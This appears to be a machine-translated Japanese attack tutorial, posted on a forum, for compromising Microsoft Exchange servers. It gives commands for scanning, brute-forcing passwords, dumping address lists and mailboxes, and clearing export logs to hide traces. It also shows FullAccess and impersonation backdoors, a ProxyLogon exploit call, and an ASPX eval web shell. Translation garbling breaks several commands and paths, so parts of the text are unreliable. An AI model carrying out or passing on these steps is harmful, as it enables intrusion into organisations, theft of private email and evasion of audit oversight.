Jump to content

侵入プロセス中、Exchange Mail Serverは通常、私たちが焦点を当てたオブジェクトです。 Machineアカウントの権限を使用してExchange Mail Serverを削除した後、ドメインDCSYNC許可内の他のユーザーに提供し、ドメインでハッシュをエクスポートしてドメイン全体を削除できるためです。

交換システムでは、コマンドhttps://Learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps

スキャンサービス

setspn.exe

setspn.exe -t vvvv1.com -f -q */* |検索ストレンド

y5njqvq0ilq905.png

nmap

NMAP 192.168.52.139 -A

gmrtoa5f5g3906.png

3lmuuzyhvnm907.png

プローブバージョンと脆弱性

EWSインターフェイスを介してExchangeの正確なバージョン情報を取得する

1fklkvf4nt0908.png

短所:一部の古いExchangeバージョンは、この操作をサポートしていません。

OWAインターフェイスを介して取引所の大まかなバージョン情報を取得する

ornnavrzmd2909.png

バージョン番号を取得した後、公式Webサイトにアクセスして、対応する交換バージョンとリリース日を確認できます。

クエリアドレス:

https://Learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

スクリプトを使用して、バージョンと脆弱性を検出します

https://github.com/3gstudent/homework-of-python/blob/master/exchange_getversion_matchvul.py

jkxtvl5rwdb910.png

ブラスト

python2 eburst.py -d 192.168.52.139 -c

th1nkfq5sym911.png

このツールを使用して、ユーザーアカウントのパスワードを爆発することもできます。

python2 eburst.py -d 192.168.52.139 -l ./users.txt -p ./passwords.txt -ews

情報収集

電子メールユーザーのいずれかの資格情報が取得されたと仮定すると、次に情報を収集できます。

autodiscover

による情報収集

https://Exchange/autodiscover/autodiscover.xmlインターフェイスを介して、XMLリクエストを受け入れ、XMLで指定された電子メールが属するメールボックス構成を返すことができます。

NTLMV2認証にはHTTP/1.1接続が必要であり、Burpsuitの新しいバージョンはHTTP/2にデフォルトであるため、最初に調整する必要があります。

https://blog.csdn.net/qq_30786785/article/details/121742101

構成の読み取りなどの操作については、次のリンクを参照してください。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8

基本は認証であり、base64 vvvv1 \ administrator:admin!@#456を使用して暗号化されています

post/autodiscover/autodiscover.xml http/1.1

HOST: 192.168.52.139

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのように)chrome/114.0.0.0 safari/537.36

Authorization: BASIC VLZWVJFCYWRTAW5PC3RYYXRVCJPHZG1PBIFAIZQ1NG==

Content-Type:テキスト/XML

Content-Length: 350

autodiscover xmlns='http://schemas.microsoft.com/Exchange/Autodiscover/Outlook/RequestSchema/2006'

リクエスト

emailaddressexchange1@vvv1.com/emailaddress

AcceptAbleresponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/acceptableresponseschema

/リクエスト

/autodiscover

メールが存在しない場合、返されます

x0pesaurwcj912.png

メールボックスが存在する場合、構成情報が返されます

rv2ki04ulx5913.png

5xk3vpaoaml914.png

取引所アドレス帳を入手してください

グローバルアドレスリスト(GAL)には、Exchange Organizationのすべてのメールユーザーのメールアドレスが含まれています。 Exchange Organizationの電子メールユーザーの資格情報を取得している限り、他のメールユーザーのメールアドレスをエクスポートできます。 HTTPを介したOWA、EWS、OAB、RPC、HTTPを介したMapiなどを使用してGALを取得できます。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%B7%A7-A8%8E%B7%E5%BEA%97Exghange-GlobalAddressList%E7%9A%84A6%96%B9%E6%B3

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

OWAを使用して直接表示

人事ユーザー

hzsgf0ttylu915.png

/ewsインターフェイスを取得します< /h5>

PowerShell -ExecutionPolicyバイパス

import-module。\ mailsniper.ps1

get -globalAddressList -ExchHostName 192.168.52.139 -USNAME VVVV1 \ Administrator -PassWord Admin!@#456 -Outfile Gal.txt

kjy1yjj3fz0918.png

oab
を介してギャルを取得します

1。AOTODISCOVERを介して収集されたOABパス。

2。ACCESSOAB/oaburi/oab.xml;

3. oab.xmlを介してデフォルトのグローバルアドレステーブルに対応するLZXファイルアドレスを見つけ、access/oab/oaburi/lzxuriにLZXファイルを取得します。

4. Cabextractツールを使用してLZXファイルをデコードし、GALを復元します。

https://www.cabextract.org.uk/

http
を介したRPC(mapi)を介した情報収集をエクスポートします

HTTP上のMapiは、OutlookとExchange 2016の間のデフォルトの通信プロトコルです

HTTPを介したMAPIは、HTTPを介してRPCを置き換えるためにExchange Server 2013 Service Pack 1(SP1)に実装された新しいトランスポートプロトコルです(Outlook Anywhereとも呼ばれます)

HTTPを介したMAPIは、Exchange 2013でデフォルトで有効になりません。OutlookとExchangeの間の通信プロトコルは、HTTPを介してRPCを使用します。

Impacket-Exchangerモジュールを使用してアドレスリストをリストし、対応するGUIDを見つけます

python endganger.py vvvv1/admins:user!@#45@192.168.52.139nspiリストテーブル

jg2kr4hrsc2920.png

すべてのユーザーをエクスポートします

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738

ejpgvssj01y921.png

Pythonを介したGALのリモートエクスポート

Python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com Adminsユーザー!@#45 findallpeople

ug4ivyptk4c922.png

メールコンテンツをエクスポート

/owaインターフェイスを介して直接メールをダウンロードします< /h4>

アカウントパスワードを入力して、ページでメールを直接読み取るかダウンロードしてください

5xv5i2hti2q924.png

/ewsインターフェイスを介して電子メールコンテンツをエクスポート< /h4>

pythonを介した電子メールのリモートエクスポート

プレーンテキストパスワードまたはハッシュを介してエクスポートできます

python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com管理者管理者!@#456ダウンロード

python ewsmanage_downloader.py test.com 80 NTLMHASH NULL USER1 C5A237B7E9D8E708D8436B6148A25FA1 FINDALLPELE

m41od3v4tcj926.png

Pythonを介した電子メールのエクスポートは、通常、SOAP XMLメッセージを使用してエクスポートされます

公式XML要素ドキュメント:

https://Learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

exshell.ps1
を介して電子メールをエクスポートします

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-E4%BB%8EEXChange%E6%9C%8D%9CですE5%8a%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'newmailboxexportrequest -mailbox管理者-filepath' \ \ c $ Exchange1.pst '

4zds4ec4qle929.png

04emgbp1lmh930.png

もちろん、電子メールをエクスポートした後、エクスポートメールのトレースをクリアする必要があります。

メールのエクスポート要求履歴を表示します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -mailboxexportrequertrequest'

rvipd2jcd1e932.png

エクスポートログレコードを削除します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'remove -mailboxexportrequert' '

iyppdndlpj2935.png

IDパラメーターは、上の図のメールボックスパラメーターです

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'removeBoxexportRequest -identity' vvvv1.com/users/administrator \ mailboxexportportportport

電子メールは、バックドアの植え付けを引き継ぎます

シミュレーション権限を構成

https://4SYSOPS.COM/ARCHIVES/EXCHANGE-IMPRENATION-GRANT-PERMISSIONS-TO-SERVICE-ACCOUNTS/

xbmgyxrtjmf937.png

次の権限を追加するだけです。

シミュレーションの許可があることを確認してください。

https://192.168.52.139/ecp/exchange1@vvvv1.com/

特定の利用には、スクリプトファイルを組み合わせる必要があります。

ojpq0v2hsjl938.png

モック許可を持つメンバーを表示します

get -managementRoleasSignment -Role:ApplicationImprensation

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -managementRoleassignment -role:application -ination'

w4lzgu5xrrs940.png

模擬権限を備えた新しいメンバーを作成します

new -managementRoleasSignment -Role3:ApplicationImprensation -User:Exchange1@vvvv1.com

rv1rpx4eh0e942.png

新しく追加されたモック許可を持っているメンバーを削除します

managementRoleassignment 'application-Imprensation-Admins'を削除

3xgb0ypdtzc943.png

FullAccess Permissions

を構成します

https://Blog.csdn.net/weixin_34123613/article/details/90079532

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | Add -MailboxPermission -USER Administrator -AccessRights Fullaccess -InheritanceTypeすべて

a3wfwt05w3n944.png

Fullaccessの許可をキャンセルします

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | mailboxpermission -user管理者-accessrights fullaccess -inheritanceTypeすべて

Fullaccessアクセス許可を確認します

tbi4c22qs3v947.png

脆弱性攻撃

python proxylogon.py - host=exchange.com - mail=admin@exchange.com

Aspx Trojan:スクリプト言語='jscript' runat='server' function page \ _load(){/\*\*/eval(request \ ['command' \]、 'unsafe');}/script

摂取後段階

サーバー情報の交換コレクション

Exchangeのデフォルトのインストールパスを取得します

Echo%ExchangeInstallPath%

ecnswpbkb3p949.png

コンソールファイルの相対位置は、%ExchangeInstallPath%\ bin \ exshell.ps1です

すべての電子メール情報を取得します

Powershell.exe -psconsolefile 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ bin \ exshell.psc1' -command 'get -mailbox -Resultsize Unlimited'

ure51lfh225950.png

電子メール追跡ログを分析

メール追跡ログは%交換にあります

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...